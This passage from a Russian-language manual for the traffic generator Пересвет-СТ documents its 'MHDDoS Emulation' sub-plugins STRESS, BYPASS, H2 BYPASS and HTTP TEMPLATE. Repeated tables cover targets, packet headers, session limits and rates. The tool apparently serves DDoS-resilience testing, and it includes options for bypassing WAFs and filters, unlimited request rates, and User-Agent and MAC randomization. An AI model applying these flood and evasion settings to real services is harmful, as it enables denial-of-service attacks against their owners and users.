| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 120;
Табл. 120 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
STRESS
STRESS – подплагин для генерации трафика, комбинирующий различные типы нагрузок для максимального воздействия на систему.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 121;
Табл. 121 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 122;
Табл. 122 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 123;
Табл. 123 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 124;
Табл. 124 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 125;
Табл. 125 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включен | Выберете значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | Выберете значение HTTP 1.1 или HTTP 2.0 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | По умолчанию, задано значение «POST» |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Тело запроса | Часть HTTP-запроса, содержащая данные, которые клиент отправляет серверу (например, форму или JSON) Параметр доступен если выбраны методы: POST, PUT или PATCH | По умолчанию, задано значение «{«data»: «${str(512)}»}» |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; «X-Requested-With»:«XMLHttpRequest»; «Content-Type»:«application/json»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 126;
Табл. 126 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение Значение по умолчанию: «10» |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение Значение по умолчанию: «0» |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение Значение по умолчанию: «1» |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение Значение по умолчанию: «20» |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение Значение по умолчанию: «0» |
BYPASS
BYPASS – подплагин для генерации трафика, направленный на обход стандартных мер защиты (например, фильтров или WAF).
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 127;
Табл. 127 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 128;
Табл. 128 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 129;
Табл. 129 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 130;
Табл. 130 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 131;
Табл. 131 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включен | Выберете значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | По умолчанию, задано значение HTTP 1.1 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | По умолчанию, задано значение «GET» |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 132;
Табл. 132 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение Значение по умолчанию: «10» |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение Значение по умолчанию: «0» |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение Значение по умолчанию: «1» |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение Значение по умолчанию: «10» |
H2 BYPASS
H2 BYPASS – подплагин для генерации трафика, направленный на обход стандартных мер защиты (например, фильтров или WAF), используя протокол HTTP 2.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 133;
Табл. 133 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 134;
Табл. 134 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 135;
Табл. 135 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 136;
Табл. 136 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 137;
Табл. 137 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включен | Выберете значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | По умолчанию, задано значение HTTP 2 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | По умолчанию, задано значение «GET» |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 138;
Табл. 138 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение Значение по умолчанию: «10» |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение Значение по умолчанию: «0» |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение Значение по умолчанию: «1» |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение Значение по умолчанию: «20» |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение Значение по умолчанию: «10» |
HTTP TEMPLATE
HTTP TEMPLATE – подплагин для генерации трафика, направленный на генерацию HTTP-запросов по заданному шаблону для имитации легитимного или вредоносного трафика.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 139;
Табл. 139 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 140;
Табл. 140 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 141;
Табл. 141 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
